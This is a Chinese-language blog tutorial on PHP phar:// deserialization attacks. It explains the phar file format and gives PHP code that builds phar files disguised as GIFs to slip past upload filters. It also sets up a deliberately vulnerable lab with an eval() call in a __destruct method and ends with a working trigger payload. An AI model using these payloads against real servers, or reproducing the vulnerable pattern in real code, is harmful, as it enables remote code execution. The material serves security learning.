PHP反序列化

学习学习

Posted by lll-yz on May 6, 2021

反序列化之phar://

前言

通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但是在Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,扩展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

原理分析

关于流包装

大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://, zlib://php://

例如常见的:

include('php://filter/read=convert.base64-encode/resource=xx.php');
include('data://text/plain;base64,xxxxxx');

phar://也是流包装的一种。

phar文件结构

phar文件由四部分构成:

1.a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2.a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上诉攻击手法最核心的地方。

gl0hdS.png

3.the file contents

被压缩文件的内容

4.[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下:

glDYB6.png

demo测试

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar.php:

<?php
    class TestObject {
    }
    
    $phar = new Phar("phar.phar");  //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER();?>");  //设置stub
    $o = new TestObject();
    $0 -> data = 'alalal';
    $phar->setMetadata($o);  //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test");  //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

访问后,会生成一个phar.phar在当前目录下:

glotbD.png

用winhex打开:

glTkIH.png

可以看到meta-data是以序列化的形式存储的。

有序列化数据必然会有反序列化操作,PHP一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下:

gl7AmT.png

php_un.php

<?php
	class TestObject {
		function __destruct() {
			echo $this -> data;
		}
	}
	
	include('phar://phar.phar');
?>

gl7O3R.png

当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来”人畜无害”的函数也可能变得”暗藏杀机”,极大的扩展了攻击面。

将phar伪造成其他格式的文件

在前面分析phar文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切的说是__HALT_COMPILER();?>这段代码,对前面的内容或后缀名是没有要求的。那么我们就可以通过添加任意文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
	class TestObject {
	}
	
	$phar = new Phar('phar.phar');
	$phar->startBuffering();
	$phar->setStub('GIF89a'.'<?php __HALT_COMPILER()?>');  //设置stub,添加GIF文件头
	$phar->addFromString('test.txt', 'test');  //添加要压缩的文件
	$object = new TestObject();
	$object -> data = 'alalal';
	$phar->setMetadata($object);  //将自定义meta-data存入manifest
	$phar->stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测。

利用条件

1.phar文件要能够上传到服务器端

如:file_exists(), fopen(), file_get_contents(), file()等文件操作的函数。

2.要有可用的魔术方法作为”跳板”
3.文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

漏洞验证

环境准备

upload_file.php:后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif

upload_file.html:文件上传表单。

file_un.php:存在file_exists(),并且存在__destruct()

文件内容

upload_file.php:

<?php
    if(($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))=='gif') {
        echo "Upload: " . $_FILES["file"]["name"];
        echo "Type: " . $_FILES["file"]["type"];
        echo "Temp file: " . $_FILES["file"]["tmp_name"];

        if(file_exists("upload_file/" . $_FILES["file"]["name"])) {
            echo $_FILES["file"]["name"] . "already exists.";
        } else {
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/." . $_FILES["file"]["name"]);
            echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
        }
    } else {
        echo "Invalid file, you can only upload gif";
    }
?>

upload_file.html:

<!DOCTYPE html>
<html>
<title>
    <meta charset="utf-8">
    <title>phar</title>
</title>
<body>
    <form action="http://127.0.0.1/php_serialize/leak/upload_file.php" methon="post" enctype="multipart/form-data">
        <input type="file" name="file"/>
        <input type="submit" name="Upload"/>
    </form>
</body>
</html>

file_un.php:

<?php
    $filename=$_GET['filename'];

    class AnyClass {
        var $output = 'echo "ok";';

        function __destruct() {
            eval($this -> output);
        }
    }

    file_exists($filename);
?>
实现过程

首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码。

构造payload

eval.php:

<?php
	class AnyClass {
		var $output = 'echo "ok";';
		
		function __destruct() {
			eval($this -> output);
		}
	}
	
	$phar = new Phar('phar.phar');
	$phar->stopBuffering();
	$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
	$phar->addFromString('test.txt', 'test');
	$object = new AnyClass();
	$object->output='phpinfo();';
	$phar->setMetadata($object);
	$phar->stopBuffering();
?>

访问eval.php,会在当前目录生成phar.phar,然后修改其后缀为gif

g1CzAs.png

然后将其上传,文件会上传到upload_file目录下:

g1PSNn.png

然后利用file_un.php文件,payload:

filename=phar://upload_file/phar.gif

参考文章:—->Hu3sky1

​ —->seaii@知道创宇404实验室